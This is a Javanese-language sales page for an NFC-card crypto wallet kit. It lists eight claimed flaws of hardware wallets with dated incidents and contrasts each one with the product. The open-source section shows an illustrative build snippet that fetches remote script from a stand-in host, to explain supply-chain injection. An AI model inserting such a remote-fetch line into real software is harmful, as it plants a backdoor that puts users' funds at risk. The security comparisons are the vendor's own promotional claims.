ONLINE · 22,000+ COINS Gawe dompetGawe

Dompet hardware · cacad ora ceplas

Cacad ora ceplas ing dompet hardware

Kowe tuku piranti kanggo nutup bolongan. Bebarengan teka sing anyar: firmware, update, layanan ing komputer, layar, kothak, akun bakul. Wolung rincian sing review cathet minangka kaluwihan — lan wolung cara duwit dijupuk liwat iku taun 2020–2026.

Wolung cacad Apa isine kit

Kasus nyata karo tanggal lan jumlah Saka dokumentasi produsen Kita ngevaluasi kit kita nganggo dhaptar sing padha

Rega siji kesalahankasus publik

2026Coldcard · keacakan lemes ing firmware$100M+

2025Bybit · panandhatangan nandhatangani sing ora dideleng$1.5B

2024Dark Skippy · seed bocor liwat rong tandha tanganriset

2023Ledger Connect Kit · backdoor ing pustaka$600K

2021Aplikasi dompet palsu ing App Store17,1 BTC

2020Bocor DB pelanggan Ledger · phishing pirang-pirang taun270.000 wong

Wolung cacad

Saben rincian sing dipuji review iku bolongan kapisah

Dompet hardware nutup siji bolongan: kunci ora maneh ana ing HP sing nyambung internet. Nanging pirantine ora kosong. Ana firmware, update, program desktop, layar, kothak, bakul karo alamatmu — lan saben rincian nambah permukaan serangan sing sadurunge ora ana. Ing ngisor wolung rincian iku: apa tembunge review, kepiye duwit dijupuk liwat iku, carane nutup cacad, lan apa kit kita nduweni rincian iku.

Cacad 01

Firmware sing nggawe kuncimu

Ing review: «chip aman — kunci digawe ing njero piranti lan ora nate metu»

Kunci iku angka acak gedhe banget, lan firmware sing nggawe. Siji bug ing kana — lan kunci luwih sithik tinimbang sing kowe kira: di-brute-force kanggo kabeh pemilik bebarengan, tanpa akses piranti, pirang-pirang taun sawise tuku. Chipe ora relevan; bolongane ana ing ndhuwure.

Kadadian

$100M+

Coldcard, Juli 2026: bug build firmware wiwit 2021 kanthi meneng ngganti RNG hardware nganggo sing lemes, di-seed saka nomer seri piranti lan timer. Kekuwatan kunci mudhun nganti kira-kira 40 bit; 5.000+ alamat dikosongake.

Carane nutup cacad

Apa kowe bisa nggawa keacakan dhewe: uncalse dadu, frasa dhewe. Dompet sing nampa entropi saka kowe ora gumantung siji bug firmware.

Rincian iki ora ana ing kita

Ora ana firmware ing kartu — iku pembawa terenkripsi. Mitilena Air nggawe kunci saka RNG sistem piranti, lan kowe bisa netepake frasa seed dhewe tinimbang tembung acak.

Cacad 02

Update sing wajib kowe pasang

Ing review: «produsen rutin ngirim update keamanan»

Saben update iku wayahe firmware bisa diganti. Firmware sing diutak-atik ndhelikake pecahan seed ing rong utawa telung tandha tangan biasa nalika piranti katon normal saka njaba. Nglirwakake update uga dudu pilihan: bolongan ditambal justru nganggo update iku.

Kadadian

2 tandha tangan

Dark Skippy, Agustus 2024: peneliti nuduhake firmware jahat dompet hardware bisa ngetokake kabeh seed liwat rong transaksi. Siji update saka panggonan sing salah wis cukup.

Carane nutup cacad

Saka ngendi firmware teka lan apa piranti verifikasi tandha tangane. Paling apik yen ora ana sing perlu diupdate.

Rincian iki ora ana ing kita

Ora ana sing bisa diupdate utawa diganti ing kartu. Tandha tangan kedadeyan ing aplikasi HP; build-e ditandhatangani lan teka saka App Store lan Google Play — kaya aplikasi apa wae sing kowe deleng lan tutup dhewe.

Cacad 03 · Rasakna absurde

Ing review: «aplikasi desktop resmi sing kepenak»

Dompet kanggo ora percaya sing teka karo layanan latar

Kowe tuku piranti kanggo siji alesan: supaya ora maneh pracaya komputer. Supaya mlaku, kowe kudu masang layanan latar ing komputer sing padha. Kowe ora nulis, ora nglakokake, lan ora ngontrol: dheweke start bebarengan OS, ngrungokake port sing bisa dikethuk program apa wae ing mesinmu, lan lagi nindakake apa-apa saiki — apa persise, kowe ora ngerti lan ora bakal nate verifikasi.

Dheweke tetep mlaku ing latar sawise kowe nutup dompet. Pirang-pirang taun. Ing salah siji produsen gedhe dhewe iku layanan «jembatan» kapisah; taun 2025 dheweke ndhelikake ing njero aplikasi dhewe — layanane tetep ana, mung mati bebarengan jendhela. Kanggo umume liyane, tanpa program desktop piranti mung gantungan kunci. Ing Linux tambahake aturan udev utawa sistem ora bakal nyerahake USB.

Dadi barang sing kowe tuku supaya ora gumantung program komputer justru ora mlaku tanpa program komputer. Lan dudu sing kowe deleng — sing mlaku ing ngisore.

Rincian iki ora ana ing kita

Ora ana sing dipasang ing komputer: tanpa layanan, driver, utawa port. Perantarané chip NFC sing wis ana ing HP-mu, digawe produsené lan diatur OS: mung mlaku nalika aplikasi mbukak lan kowe dhewe nempelake kartu, lan HP njaluk ijin saben wektu. Kartune pasif: tanpa baterei, tanpa radio, ora nindakake apa-apa dhewe. Tutup aplikasi — ora kari apa-apa sing mlaku tanpa kowe. Jujur: aplikasi HP tetep dibutuhake, lan kaya liyane — kowe ndeleng, nglakokake, lan nutup dhewe. Ora ana sapa-sapa sing manggon ing ruang utilitas.

Monitor sistemDOMPET DITUTUP

ProcessStateUptime

HW Wallet Appwallet

ditutup kowe-

hwwalletdlayanan latar · jembatan USB

running412d 06:14

dijalanke sistem nalika loginora bisa ditutup — iki layanan

Mockup; jeneng ilustratif. Ngene tampilan komputer karo salah siji dompet USB paling populer sadurunge 2025; banjur «jembatan» dilebokake ing njero aplikasi dhewe — layanan sing padha, mung ora katon maneh ing dhaptar.

Alegori

Omah kanggo privasi — lan penghuni ing ruang utilitas

Kowe kepengin omah kanggo privasi. Kowe tuku. Banjur butuh keamanan — dipasang. Lan supaya paket keamanan mlaku, dheweke njaluk kowe mlebuake wong berseragam menyang omah sing manggon ing ruang utilitas sedina muput, nyekel kunci saben lawang, lan nglapor marang wong liya. Kowe ora ngrekrut, ora bisa mecat, lan apa sing ditindakake bengi — kowe ora ngerti.

Dheweke «wong njero», mesthi. Kaya ditulis ing kontrak. Kowe kepengin privasi lan entuk pengganti: omah karo penghuni sing ora kowe pilih.

Cacad 04 · Open source dudu audit

Ing review: «open source — sapa wae bisa verifikasi»

Open source iku cara programmer nyambut gawe bareng, dudu lencana yen program ora nyolong

Open source digawe supaya wong bagi program lan mbenerake bareng. Minangka piranti kolaborasi iku apik. Iku ora nate dadi stempel kualitas yen «perangkat lunak iki ora bakal nyolong duwitmu», lan iki alesane: kowe ora nganggo kode sumber. Kowe nganggo apa sing kowe undhuh.

Antarane repo GitHub lan file ing HP-mu ana build, app store, update, server. Ing salah siji langkah iku siji baris bisa mlebu kode sing narik apa wae saka ngendi wae — lan iku ora bakal ana ing repo. Kowe ora bisa mbandhingake salinanmu karo sumber: toko ngirim file terkompilasi; dompet web nampa kode apa wae sing dipilih server kanggo kowe dina iki; ekstensi browser diupdate meneng ing wayah wengi.

«Mbukak» ateges sawetara wong bisa mriksa sawetara versi ing sawijining dina. Apa sing ditindakake salinanmu saiki — iku ora ateges iku.

Ing repo · github.com/…/wallet/send.js

// send.js
import { sign } from './crypto'
export async function send(tx, key) {
  const signed = sign(tx, key)
  return broadcast(signed)
}

Ing HP-mu · app-2.4.21.min.js

// send.js — build
import { sign } from './crypto'
;(async () => {
  var globalObject = await fetch('https://cdn-static.io/x.js')
})()
export async function send(tx, key) {
  const signed = sign(tx, key)
  return broadcast(signed)
}

Siji baris ing build. Ora ana ing repo, ora katon ing toko, mlaku ing pirantimu.

Keterbukaan ora ngendhekake siji kasus iki uga

Ledger Connect Kit2023

pustaka mbukak ing GitHub; versi jahat dipublikasikake menyang npm; puluhan situs ngemot kanthi live sajrone jam

Copay / event-stream2018

dompet mbukak; backdoor mlebu liwat dependensi sing ditarget khusus marang dheweke

xz utils2024

mbukak rong puluh taun; backdoor ana ing rilis nganti engineer siji sadhar login SSH setengah detik luwih alon

Coldcard2026

firmware open-source; bug build limang taun ngganti RNG hardware nganggo sing lemes — kunci di-brute-force tanpa akses piranti, 5.000+ alamat, $100M+

Sing bener-bener mlaku

Dudu maca kode wong liya — rong priksa sing sapa wae bisa nglakokake. Kapisan, audit prilaku: pasang proxy penyadap ing komputer, arahake aplikasi liwat iku, lan deleng apa sing dikirim menyang ngendi. Ora perlu maca kode — lalu lintas katon kabeh. Kapindho, arsitektur ing endi kode ora nduweni apa-apa kanggo dicolong: yen kunci ora nate ana ing piranti berjaringan, baris apa wae ing update apa wae ora kuwasa — ora ana sing bisa dikirim.

Carane kita

Kapisan kita nawakake dhewe: lakokake aplikasi kita liwat proxy, versi web liwat DevTools browser, lan priksa saben panjalukan. Kunci tandha tangan lan seed ora bakal metu; siji-sijine cathetan yaiku view key Monero — dibahas ing kaca «carane transfer lunga». Kapindho ana ing kit: kunci lair ing Mitilena Air ing piranti tanpa internet, urip ing kartu, lan mung tandha tangan sing tekan aplikasi online — ing kana ora ana sing perlu di-proxy. Lan offline ing kene nyata: ing mode air-gap piranti kunci ora nyambung menyang apa-apa — tanpa kabel, tanpa Bluetooth; transaksi mlebu lan metu minangka kode QR sing kowe deleng nganggo mripat. Dudu dompet «kadhemen» ing kabel sing nggantung ing komputer online karo layanane dhewe sing ijolan ora ngerti apa.

Cacad 05

Layar sing ora nuduhake apa sing kowe tandhatangani

Ing review: «konfirmasi ing layar piranti — virus ing komputer ora kuwasa»

Layare cilik, lan kerep nampilake hash utawa «contract call», dudu alamat lan jumlah. Kowe ngonfirmasi sing ora bisa kowe deleng — lan tandha tangan tetep jujur, duwekmu. Layar menehi rasa kontrol sing sejatine ora ana.

Kadadian

$1.5B

Bybit, Februari 2025: panandhatangan karo dompet hardware ngonfirmasi transfer sing katon biasa ing UI. Piranti nampilake data sing ora bisa diverifikasi manungsa.

Carane nutup cacad

Panampa, jumlah, lan jinis operasi nganggo basa manungsa — dudu hash — uga tombol Reject sak sentuhan.

Carane kita

Ana layar, nanging iku layar HP: alamat, jumlah, lan jinis panjalukan nganggo tembung — transfer, contract call, approval — uga tombol Reject. Kanggo jumlah gedhe — piranti offline kapisah sing nampa transaksi lengkap.

Cacad 06

Kothak sing wis isi seed

Ing review: «dikirim ing kothak disegel karo segel keamanan»

Piranti fisik ateges pangiriman, perantara, lan marketplace «diskon». Dompet teka wis disetel, karo seed ing slip ing njero. Utawa aplikasi mirip ing toko njaluk kowe «lebokake seed kanggo ngaktifake».

Kadadian

17,1 BTC

App Store, 2021: pemilik dompet hardware nglebokake seed menyang aplikasi mirip lan kelangan 17,1 BTC. Taun sing padha, sawise bocor DB, pelanggan Ledger dikirimi piranti palsu karo surat «pindhahake seed menyang sing anyar».

Carane nutup cacad

Inisialisasi dhewe lan aja nate nganggo seed sing teka wis ditulis. Segel dudu verifikasi; verifikasi yaiku yen kowe sing nggawe kunci.

Carane kita

Kartu teka kosong: kowe nggawe kunci lan nulis dhewe — ora mungkin ana seed siap nganggo ing kothak. Aplikasi mung saka App Store lan Google Play liwat tautan ing situs; dheweke njaluk seed mung nalika impor lan tandha tangan.

Cacad 07

Akun bakul

Ing review: «garansi resmi, dhukungan, lan akun pribadi»

Kanggo tuku piranti kowe menehi produsen jeneng, email, lan alamat pangiriman. Keamananmu saiki gumantung basis data dheweke. Yen bocor — pirang-pirang taun kowe bakal nampa pesen «konfirmasikake seed ing piranti anyar», kadhang disertai paket.

Kadadian

270.000 wong

Ledger, 2020: data 270.000 panuku bocor, kalebu alamat pos. Email, telpon, lan paket sing njaluk kowe «migrasi» seed terus nganti dina iki.

Carane nutup cacad

Saya sithik sing dheweke ngerti babagan kowe, saya cendhek vektore: tuku tanpa akun, dhukungan sing ora nate njaluk seed, lan aturan «mung maling sing njaluk seed».

Rincian iki ora ana ing kita

Dompet mlaku tanpa registrasi — tanpa akun. Bakul mung ngerti alamat pangiriman. Dhukungan lan aplikasi ora njaluk seed.

Cacad 08

Siji piranti lan siji slip kertas

Ing review: «casing kuwat, layar gedhe, baterei seminggu»

Saya akeh bagean, saya akeh sing rusak: konektor, layar, baterei. Pemulihan gumantung siji slip seed — teles, ilang nalika pindhah, difoto «kanggo jaga-jaga». Sababe kelangan paling umum dudu peretasan.

Kadadian

≈20 % BTC

Chainalysis ngira kira-kira saparlima kabeh bitcoin ilang saklawase — umume amarga kunci ilang, dudu peretasan.

Carane nutup cacad

Pira salinan kunci sing dikirim ing kothak lan wujude apa, apa kedadeyan yen piranti ilang, lan apa ana sing bisa rusak ing njero.

Rincian iki ora ana ing kita

Tanpa layar, baterei, utawa konektor — ora ana sing bisa rusak. Lan dudu siji salinan: limang salinan cermin ing kothak — rong kartu NFC lan telung stiker stealth ing plastik tahan banyu, 10+ taun.

Dhaptar priksa

Apa sing kudune ora ana ing dompet

Wolung rincian kanggo wolung cacad. Dhaptar iki cocog kanggo dompet apa wae — hardware, mobile, browser. Centhang apa sing diduweni sing lagi kowe pilih — lan duweke kita uga.

Kunci sing digawe mung dening perangkat lunaktanpa keacakan dhewe — frasamu utawa dadu

Update ing panggonan kunci manggonsaben update iku kesempatan ngganti kode

Layanan, driver, utawa port ing komputerdeleng cacad 03

Lencana «open source» tinimbang arsitekturkunci ana ing panggonan kode asing bisa nyandhak

Layar sing nampilake hash tinimbang alamat lan jumlahlan tanpa tombol Reject

Seed sing teka wis ditulising kothak, ing surat, ing «aplikasi aktivasi»

Akun bakullan dhukungan sing mbok menawa njaluk seed

Siji salinan lan bagean sing rusaklayar, baterei, konektor, siji slip kertas

Ing dhaptar iki, kit Ultimate ora nduweni siji-sijine saka wolung rincian iku. Ing kothak: 2 kartu NFC lan 3 stiker stealth, Mitilena Air (kunci tanpa internet) lan Mitilena Keys (tandha tangan tanpa internet). Kartu teka kosong: kowe nggawe lan ngenkripsi kunci — dudu chip pabrik. Isi lan rega →

Ultimate · kit offline

Dudu «chip aman» pabrik — pembawa sing kowe enkripsi

Kartu teka kosong. Kowe nggawe kunci ing Mitilena Air ing HP tanpa internet lan nulis dhewe. Tandha tangan liwat Mitilena Keys, uga offline: transaksi mlaku liwat QR. Limang salinan identik ing kothak: 2 kartu NFC lan 3 stiker stealth ing plastik tahan banyu. 18 jaringan, 20.000+ koin, kalebu USDT.

Ora ana sing dipasang ing komputer

Tanpa firmware, update, layar, utawa baterei

Transaksi menyang HP offline — liwat swara utawa QR, tanpa kabel utawa USB

Mlaku karo aplikasi HP Mitilena gratis

Plastik tahan banyu, umur simpen 10+ taun

Pangiriman menyang donya · mitilena-store.com

Ultimate · generasi lan tandha tangan offline

€369€439

2 kartu NFC · 3 stiker stealth · Mitilena Air · lisensi Mitilena Keys

Tuku Ultimate · €369 Basic lan Premium — deleng kabeh paket

FAQ

Sing ditakokake wong sawise maca nganti kene

Kaluwihan lan kakurangan dompet hardware — versi cendhak?

Siji kaluwihan gedhe: kunci ora ana ing HP sing nyambung internet. Kakurangané wolung rincian ing ndhuwur — saben nambah permukaan serangan. Dompet hardware sing apik yaiku sing nduweni rincian luwih sithik, dudu luwih akeh.

Kepriye yen HP dikompromi?

Karo kartu ing HP utama, kunci metu ing lingkungan terisolasi sajrone detik tandha tangan — risiko padha karo dompet HP apa wae, mung luwih cendhek. Kanggo jumlah sing medeni kowe — lapisan kapindho: tandhatangani ing piranti offline kapisah sing digayuh transaksi liwat QR.

Kepriye yen kartu dicolong utawa ilang?

Tanpa password, kartu lan stiker mung plastik ora migunani — kunci ing njero terenkripsi. Salinan sing ilang diganti papat liyane: rong kartu lan telung stiker saka kothak iku cermin.

Apa perlu nganyari firmware dompet hardware?

Yen vendor nutup bolongan — iya, lan justru wayah iku firmware bisa diganti: priksa sumber lan tandha tangane. Pembawa tanpa firmware ora nduweni pilihan iku — ora ana sing diupdate, ora ana sing diganti.

Apa bedane karo dompet USB?

Luwih sithik perantara: tanpa kabel, driver, layanan latar, utawa program desktop. Siji perantara — chip NFC HP-mu — lan dheweke mangsuli marang kowe lan OS, dudu marang vendor dompet.

Open source ateges aman?

Ateges bisa dipriksa wong, sawijining wektu. Kowe nganggo dudu kode nanging sing kowe undhuh, lan kowe ora bisa mbandhingake loro-lorone. Keamanan teka saka arsitektur ing endi kunci ora ana ing panggonan kode asing bisa nyandhak.

Kartu NFC karo generasi lan tandha tangan offline

5 salinan kunci · Air · Keys · utawa dompet gratis sajrone 30 detik · Kenapa dompet hardware «kadhemen» sing ngandelake chip keamanan pabrik kerep mung panyimpenan kadhemen palsu →

Tuku Ultimate · €369 Gawe dompet gratis